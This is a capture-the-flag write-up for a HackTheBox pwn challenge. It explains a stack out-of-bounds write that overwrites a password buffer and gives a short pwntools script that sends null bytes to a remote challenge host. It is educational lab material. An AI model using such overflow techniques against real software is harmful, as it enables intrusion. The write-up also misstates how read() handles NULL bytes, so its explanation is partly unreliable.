Writing on the Wall

Platform: HackTheBox | Category: Pwn | Difficulty: N/A | Author: D3v0o0Nu11 | Date: 2026-02-10

Description

As you approach a password-protected door, a sense of uncertainty envelops you—no clues, no hints. Yet, just as confusion takes hold, your gaze locks onto cryptic markings adorning the nearby wall. Could this be the elusive password, waiting to unveil the door's secrets?

Solution Approach

Core idea: Stack-Based Exploitation. Out-of-Bound (OOB) Write.

Steps

1. In this challenge, we're given a 64 bit binary, dynamically linked, and not stripped.

BINARY PROTECTIONS

1. Upon reviewing the decompiled code in ghidra, we can clearly spot the vuln at the read() usage. It introduced a OOB vuln.

2. It's quite straightforward then.

3. Reviewing the stack, seems the position of password is adjacent below buffer. Hence, hitting RBP shall overwrite password.

4. Remember about read() vuln, it reads data until it meet a NULL byte.

5. So then, utilizing the OOB could overwrite the password value entirely.

6. The flow is to pass 7 bytes of \x00, so this should happen:

buffer[6]
password = xxxxxxxxxx

read() --> we passed "\x00" * 7

### password is now overwritten

passowrd = 0000000
buffer = 0000000

strcmp(buffer,password) --> is comparing 0 and 0, shall resulting to true.

1. Here's the crafted exploit script.

SCRIPT

from pwn import *

exe = './writing_on_the_wall'
elf = context.binary = ELF(exe, checksec=True)
context.log_level = 'INFO'

### sh = process(exe)

sh = remote('94.237.61.226', 48898)

sh.sendline(b'\x00' * 7)

sh.interactive()

REMOTE TEST

1. We've pwned it!

Flag

REDACTED

Lessons Learned

1. Stack-Based Exploitation.
2. Out-of-Bound (OOB) Write.
3. Read() vuln.
4. Local variable overwrite.